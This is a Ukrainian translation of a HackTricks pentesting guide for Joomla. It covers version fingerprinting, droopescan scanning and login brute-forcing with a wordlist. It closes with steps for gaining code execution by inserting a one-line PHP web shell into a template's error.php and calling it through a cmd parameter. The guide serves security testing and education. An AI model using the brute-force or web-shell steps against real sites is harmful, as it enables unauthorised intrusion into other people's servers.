hacktricks/network-services-pentesting/pentesting-web/joomla.md
2024-03-29 19:49:46 +01:00

5.2 KiB
Raw Blame History

Joomla

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Статистика Joomla

Joomla збирає деяку анонімну статистику використання, таку як розподіл версій Joomla, PHP та баз даних, а також операційних систем серверів, які використовуються в установках Joomla. Ці дані можна запитати через їхній публічний API.

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

Перелік

Відкриття/Визначення

  • Перевірте мета
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

Версія

  • У /administrator/manifests/files/joomla.xml ви можете побачити версію.
  • У /language/en-GB/en-GB.xml ви можете отримати версію Joomla.
  • У plugins/system/cache/cache.xml ви можете побачити приблизну версію.
droopescan scan joomla --url http://joomla-site.local/

Brute-Force

Ви можете використати цей скрипт для спроби перебору логіну.

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

Якщо вам вдалося отримати адміністративні облікові дані, ви можете RCE всередині нього, додавши фрагмент PHP-коду, щоб отримати RCE. Ми можемо зробити це, налаштувавши шаблон.

  1. Клацніть на Templates внизу ліворуч під Configuration, щоб відкрити меню шаблонів.
  2. Клацніть на назву шаблону. Давайте виберемо protostar під заголовком стовпця Template. Це приведе нас на сторінку Templates: Customise.
  3. Нарешті, ви можете клацнути на сторінку, щоб відкрити вихідний код сторінки. Давайте виберемо сторінку error.php. Ми додамо однорядковий PHP-код для виконання коду, як показано нижче:
  4. system($_GET['cmd']);
  5. Зберегти та закрити
  6. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id